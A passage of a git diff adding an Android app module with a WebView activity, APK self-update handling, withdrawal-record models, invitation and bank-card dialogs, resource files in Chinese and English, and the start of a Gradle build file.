onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + LogUtils.d("onReceivedError2 url==" + failingUrl + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.d("url1111111111==" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + Toast.makeText(WebViewActivity.this, "下载开始,请稍后...", Toast.LENGTH_SHORT).show(); +// Constants.isUpdate = false; + new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + LogUtils.d("url1111111111==2" + url1); + webView.loadUrl(url1); + return true; + } + + } + return false; + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url1) { + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return false; + } + + } + + return false; + } + + + }); + webView.setOnGenericMotionListener(new View.OnGenericMotionListener() { + @Override + public boolean onGenericMotion(View view, MotionEvent motionEvent) { + return false; + } + }); + +// webView.setOnTouchListener(new View.OnTouchListener() { +// @Override +// public boolean onTouch(View view, MotionEvent motionEvent) { +// if (motionEvent.getAction() == MotionEvent.ACTION_DOWN) { +// webView.loadUrl("javascript:_IntervalResize(+\" + view + \",false)"); +// return true; +// } else { +// return false; +// } +// } +// }); + +// webView.onWindowFocusChanged(true); +// webView.setOnFocusChangeListener(new View.OnFocusChangeListener() { +// @Override +// public void onFocusChange(View view, boolean b) { +// LogUtils.d("B==" + b); +// view.invalidate(); +// } +// }); + if (url != null) { + webView.loadUrl(url); + } + } + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private boolean isNetError = false; + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); + isNetError = true; + + } + + public void onShowNetView() { + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); + isNetError = false; + } + + + @Override + public void onBackPressed() { + if (webView.canGoBack()) {//当webview有多级能返回的时候 + onShowNetView(); + webView.goBack(); + } else {//不能返回了 + WebViewActivity.this.finish(); + } + } + + @Override + protected void onDestroy() { + if (webView != null) { + //加载null内容 + // webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + // webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + super.onDestroy(); + } +} diff --git a/base_bk88/src/main/java/com/web/base/WithDrawListInfo.java b/base_bk88/src/main/java/com/web/base/WithDrawListInfo.java new file mode 100644 index 0000000..b8bd76e --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/WithDrawListInfo.java @@ -0,0 +1,81 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +/** + * 提现记录 + */ +public class WithDrawListInfo implements Serializable { + + //邀请记录 + private int total; + private List list; + + + public int getTotal() { + return total; + } + + public void setTotal(int total) { + this.total = total; + } + + public List getList() { + return list; + } + + public void setList(List list) { + this.list = list; + } + + class WithDrawInfo{ + + private String amount; + private String balance; + private String bankName; + private String createTime; + private String name; + + public String getAmount() { + return amount; + } + + public void setAmount(String amount) { + this.amount = amount; + } + + public String getBalance() { + return balance; + } + + public void setBalance(String balance) { + this.balance = balance; + } + + public String getBankName() { + return bankName; + } + + public void setBankName(String bankName) { + this.bankName = bankName; + } + + public String getCreateTime() { + return createTime; + } + + public void setCreateTime(String createTime) { + this.createTime = createTime; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + } + +} diff --git a/base_bk88/src/main/res/drawable-anydpi/ic_action_back.xml b/base_bk88/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/base_bk88/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/base_bk88/src/main/res/drawable-hdpi/ic_action_back.png b/base_bk88/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/base_bk88/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/base_bk88/src/main/res/drawable-mdpi/ic_action_back.png b/base_bk88/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/base_bk88/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/base_bk88/src/main/res/drawable-v24/ic_launcher_foreground.xml b/base_bk88/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/base_bk88/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/drawable-xhdpi/ic_action_back.png b/base_bk88/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/base_bk88/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/base_bk88/src/main/res/drawable-xxhdpi/ic_action_back.png b/base_bk88/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/base_bk88/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/base_bk88/src/main/res/drawable/ic_launcher_background.xml b/base_bk88/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/base_bk88/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_bk88/src/main/res/drawable/input_bg.xml b/base_bk88/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/base_bk88/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/base_bk88/src/main/res/drawable/pass_word_bg.xml b/base_bk88/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/base_bk88/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/base_bk88/src/main/res/drawable/pass_word_bg1.xml b/base_bk88/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..83b8c14 --- /dev/null +++ b/base_bk88/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/drawable/pass_word_bg2.xml b/base_bk88/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/base_bk88/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/drawable/shape_btn_bg.xml b/base_bk88/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/base_bk88/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/drawable/shape_dialog_bg2.xml b/base_bk88/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/base_bk88/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/drawable/shape_dialog_bg3.xml b/base_bk88/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/base_bk88/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/drawable/shape_dialog_bg_new.xml b/base_bk88/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/base_bk88/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/drawable/shape_notify_typebg.xml b/base_bk88/src/main/res/drawable/shape_notify_typebg.xml new file mode 100644 index 0000000..3da849f --- /dev/null +++ b/base_bk88/src/main/res/drawable/shape_notify_typebg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/layout/activity_main.xml b/base_bk88/src/main/res/layout/activity_main.xml new file mode 100644 index 0000000..48eacca --- /dev/null +++ b/base_bk88/src/main/res/layout/activity_main.xml @@ -0,0 +1,351 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/layout/activity_main2.xml b/base_bk88/src/main/res/layout/activity_main2.xml new file mode 100644 index 0000000..edbe6c6 --- /dev/null +++ b/base_bk88/src/main/res/layout/activity_main2.xml @@ -0,0 +1,424 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_bk88/src/main/res/layout/activity_main3.xml b/base_bk88/src/main/res/layout/activity_main3.xml new file mode 100644 index 0000000..6385b31 --- /dev/null +++ b/base_bk88/src/main/res/layout/activity_main3.xml @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_bk88/src/main/res/layout/activity_notifydetails.xml b/base_bk88/src/main/res/layout/activity_notifydetails.xml new file mode 100644 index 0000000..bf79f59 --- /dev/null +++ b/base_bk88/src/main/res/layout/activity_notifydetails.xml @@ -0,0 +1,95 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_bk88/src/main/res/layout/activity_notifylist.xml b/base_bk88/src/main/res/layout/activity_notifylist.xml new file mode 100644 index 0000000..fe0904a --- /dev/null +++ b/base_bk88/src/main/res/layout/activity_notifylist.xml @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + diff --git a/base_bk88/src/main/res/layout/activity_start.xml b/base_bk88/src/main/res/layout/activity_start.xml new file mode 100644 index 0000000..ad49056 --- /dev/null +++ b/base_bk88/src/main/res/layout/activity_start.xml @@ -0,0 +1,294 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/layout/activity_webview.xml b/base_bk88/src/main/res/layout/activity_webview.xml new file mode 100644 index 0000000..b229360 --- /dev/null +++ b/base_bk88/src/main/res/layout/activity_webview.xml @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_bk88/src/main/res/layout/dialog_action_bankinfo.xml b/base_bk88/src/main/res/layout/dialog_action_bankinfo.xml new file mode 100644 index 0000000..437c064 --- /dev/null +++ b/base_bk88/src/main/res/layout/dialog_action_bankinfo.xml @@ -0,0 +1,228 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/layout/dialog_action_confirm.xml b/base_bk88/src/main/res/layout/dialog_action_confirm.xml new file mode 100644 index 0000000..1c67709 --- /dev/null +++ b/base_bk88/src/main/res/layout/dialog_action_confirm.xml @@ -0,0 +1,71 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/layout/dialog_action_invite.xml b/base_bk88/src/main/res/layout/dialog_action_invite.xml new file mode 100644 index 0000000..9fd65ee --- /dev/null +++ b/base_bk88/src/main/res/layout/dialog_action_invite.xml @@ -0,0 +1,89 @@ + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/layout/dialog_action_invite_records.xml b/base_bk88/src/main/res/layout/dialog_action_invite_records.xml new file mode 100644 index 0000000..f770481 --- /dev/null +++ b/base_bk88/src/main/res/layout/dialog_action_invite_records.xml @@ -0,0 +1,105 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/layout/dialog_action_withdrawapply.xml b/base_bk88/src/main/res/layout/dialog_action_withdrawapply.xml new file mode 100644 index 0000000..9f0073e --- /dev/null +++ b/base_bk88/src/main/res/layout/dialog_action_withdrawapply.xml @@ -0,0 +1,121 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/layout/dialog_select_action.xml b/base_bk88/src/main/res/layout/dialog_select_action.xml new file mode 100644 index 0000000..846025f --- /dev/null +++ b/base_bk88/src/main/res/layout/dialog_select_action.xml @@ -0,0 +1,76 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/layout/item_invite_records.xml b/base_bk88/src/main/res/layout/item_invite_records.xml new file mode 100644 index 0000000..5e3a4c0 --- /dev/null +++ b/base_bk88/src/main/res/layout/item_invite_records.xml @@ -0,0 +1,22 @@ + + + + + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/layout/item_notify_list.xml b/base_bk88/src/main/res/layout/item_notify_list.xml new file mode 100644 index 0000000..11ebdab --- /dev/null +++ b/base_bk88/src/main/res/layout/item_notify_list.xml @@ -0,0 +1,163 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/layout/item_withdraw_records.xml b/base_bk88/src/main/res/layout/item_withdraw_records.xml new file mode 100644 index 0000000..a8e6205 --- /dev/null +++ b/base_bk88/src/main/res/layout/item_withdraw_records.xml @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/base_bk88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/base_bk88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/base_bk88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/base_bk88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/mipmap-hdpi/ic_empty.png b/base_bk88/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/base_bk88/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/base_bk88/src/main/res/mipmap-hdpi/ic_pull_down.png b/base_bk88/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/base_bk88/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/base_bk88/src/main/res/mipmap-xhdpi/ic_close.png b/base_bk88/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/base_bk88/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/base_bk88/src/main/res/mipmap-xhdpi/ic_email.png b/base_bk88/src/main/res/mipmap-xhdpi/ic_email.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/base_bk88/src/main/res/mipmap-xhdpi/ic_email.png differ diff --git a/base_bk88/src/main/res/mipmap-xhdpi/ic_email1.png b/base_bk88/src/main/res/mipmap-xhdpi/ic_email1.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/base_bk88/src/main/res/mipmap-xhdpi/ic_email1.png differ diff --git a/base_bk88/src/main/res/mipmap-xhdpi/ic_facebook.png b/base_bk88/src/main/res/mipmap-xhdpi/ic_facebook.png new file mode 100644 index 0000000..de378dc Binary files /dev/null and b/base_bk88/src/main/res/mipmap-xhdpi/ic_facebook.png differ diff --git a/base_bk88/src/main/res/mipmap-xhdpi/ic_hometo.png b/base_bk88/src/main/res/mipmap-xhdpi/ic_hometo.png new file mode 100644 index 0000000..4e93043 Binary files /dev/null and b/base_bk88/src/main/res/mipmap-xhdpi/ic_hometo.png differ diff --git a/base_bk88/src/main/res/mipmap-xhdpi/ic_link.png b/base_bk88/src/main/res/mipmap-xhdpi/ic_link.png new file mode 100644 index 0000000..2f98612 Binary files /dev/null and b/base_bk88/src/main/res/mipmap-xhdpi/ic_link.png differ diff --git a/base_bk88/src/main/res/mipmap-xhdpi/ic_menu.png b/base_bk88/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/base_bk88/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/base_bk88/src/main/res/mipmap-xhdpi/ic_notify_email.png b/base_bk88/src/main/res/mipmap-xhdpi/ic_notify_email.png new file mode 100644 index 0000000..5a2df8e Binary files /dev/null and b/base_bk88/src/main/res/mipmap-xhdpi/ic_notify_email.png differ diff --git a/base_bk88/src/main/res/mipmap-xhdpi/ic_notify_normal.png b/base_bk88/src/main/res/mipmap-xhdpi/ic_notify_normal.png new file mode 100644 index 0000000..f056d32 Binary files /dev/null and b/base_bk88/src/main/res/mipmap-xhdpi/ic_notify_normal.png differ diff --git a/base_bk88/src/main/res/mipmap-xhdpi/ic_notify_shangla.png b/base_bk88/src/main/res/mipmap-xhdpi/ic_notify_shangla.png new file mode 100644 index 0000000..eb1d3e9 Binary files /dev/null and b/base_bk88/src/main/res/mipmap-xhdpi/ic_notify_shangla.png differ diff --git a/base_bk88/src/main/res/mipmap-xhdpi/ic_notify_xiala.png b/base_bk88/src/main/res/mipmap-xhdpi/ic_notify_xiala.png new file mode 100644 index 0000000..7999f63 Binary files /dev/null and b/base_bk88/src/main/res/mipmap-xhdpi/ic_notify_xiala.png differ diff --git a/base_bk88/src/main/res/mipmap-xhdpi/ic_notifylogo.png b/base_bk88/src/main/res/mipmap-xhdpi/ic_notifylogo.png new file mode 100644 index 0000000..b975e45 Binary files /dev/null and b/base_bk88/src/main/res/mipmap-xhdpi/ic_notifylogo.png differ diff --git a/base_bk88/src/main/res/mipmap-xhdpi/ic_shousuo.png b/base_bk88/src/main/res/mipmap-xhdpi/ic_shousuo.png new file mode 100644 index 0000000..16b38be Binary files /dev/null and b/base_bk88/src/main/res/mipmap-xhdpi/ic_shousuo.png differ diff --git a/base_bk88/src/main/res/mipmap-xhdpi/ic_tel.png b/base_bk88/src/main/res/mipmap-xhdpi/ic_tel.png new file mode 100644 index 0000000..df82270 Binary files /dev/null and b/base_bk88/src/main/res/mipmap-xhdpi/ic_tel.png differ diff --git a/base_bk88/src/main/res/mipmap-xhdpi/ic_whatsapp.png b/base_bk88/src/main/res/mipmap-xhdpi/ic_whatsapp.png new file mode 100644 index 0000000..7ca41ed Binary files /dev/null and b/base_bk88/src/main/res/mipmap-xhdpi/ic_whatsapp.png differ diff --git a/base_bk88/src/main/res/mipmap-xhdpi/ic_zhangkai.png b/base_bk88/src/main/res/mipmap-xhdpi/ic_zhangkai.png new file mode 100644 index 0000000..bdc84b3 Binary files /dev/null and b/base_bk88/src/main/res/mipmap-xhdpi/ic_zhangkai.png differ diff --git a/base_bk88/src/main/res/mipmap-xxhdpi/app_logo.png b/base_bk88/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..1718e20 Binary files /dev/null and b/base_bk88/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/base_bk88/src/main/res/mipmap-xxhdpi/look_img.png b/base_bk88/src/main/res/mipmap-xxhdpi/look_img.png new file mode 100644 index 0000000..bb76ba1 Binary files /dev/null and b/base_bk88/src/main/res/mipmap-xxhdpi/look_img.png differ diff --git a/base_bk88/src/main/res/mipmap-xxhdpi/share_img.png b/base_bk88/src/main/res/mipmap-xxhdpi/share_img.png new file mode 100644 index 0000000..203b4b7 Binary files /dev/null and b/base_bk88/src/main/res/mipmap-xxhdpi/share_img.png differ diff --git a/base_bk88/src/main/res/values-en/strings.xml b/base_bk88/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..95006cd --- /dev/null +++ b/base_bk88/src/main/res/values-en/strings.xml @@ -0,0 +1,53 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + No additional data available for now + NOTIFICATIONS + \ No newline at end of file diff --git a/base_bk88/src/main/res/values-night/themes.xml b/base_bk88/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..4bf7105 --- /dev/null +++ b/base_bk88/src/main/res/values-night/themes.xml @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/values/colors.xml b/base_bk88/src/main/res/values/colors.xml new file mode 100644 index 0000000..bd299ee --- /dev/null +++ b/base_bk88/src/main/res/values/colors.xml @@ -0,0 +1,22 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + #ACDFEE + #BDDDB7 + #C3B5D0 + + \ No newline at end of file diff --git a/base_bk88/src/main/res/values/strings.xml b/base_bk88/src/main/res/values/strings.xml new file mode 100644 index 0000000..d609113 --- /dev/null +++ b/base_bk88/src/main/res/values/strings.xml @@ -0,0 +1,75 @@ + + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + 暂无更多数据 + 通知 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/values/themes.xml b/base_bk88/src/main/res/values/themes.xml new file mode 100644 index 0000000..e47899f --- /dev/null +++ b/base_bk88/src/main/res/values/themes.xml @@ -0,0 +1,88 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/xml/app_updater_paths.xml b/base_bk88/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/base_bk88/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/xml/network_security_config.xml b/base_bk88/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/base_bk88/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/base_bk88/src/main/res/xml/provider_paths.xml b/base_bk88/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/base_bk88/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/base_bk88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/base_bk88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/base_bk88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/base_no/.gitignore b/base_no/.gitignore new file mode 100644 index 0000000..42afabf --- /dev/null +++ b/base_no/.gitignore @@ -0,0 +1 @@ +/build \ No newline at end of file diff --git a/base_no/build.gradle b/base_no/build.gradle new file mode 100644 index 0000000..0230086 --- /dev/null +++ b/base_no/build.gradle @@ -0,0 +1,53 @@ +plugins { + id 'com.android.library' +} + +android { + compileSdkVersion 31 + defaultConfig { + minSdkVersion 24 + targetSdkVersion 31 + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } +} + +dependencies { + + api 'androidx.appcompat:appcompat:1.1.0' + api 'com.google.android.material:material:1.1.0' + api 'androidx.constraintlayout:constraintlayout:1.1.3' + testApi 'junit:junit:4.+' + androidTestApi 'androidx.test.ext:junit:1.1.1' + androidTestApi 'androidx.test.espresso:espresso-core:3.2.0' + api files('libs\\tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar') + + // okhttp相关库 + api 'com.squareup.okhttp3:okhttp:4.9.3' + + // JSON解析库 + api 'com.google.code.gson:gson:2.9.0' + api 'com.alibaba:fastjson:1.1.71.android' + api 'com.squareup.retrofit2:retrofit:2.5.0' + api 'com.squareup.retrofit2:converter-scalars:2.3.0' + api 'com.squareup.retrofit2:converter-gson:2.4.0' + api 'com.squareup.retrofit2:adapter-rxjava2:2.4.0' + api 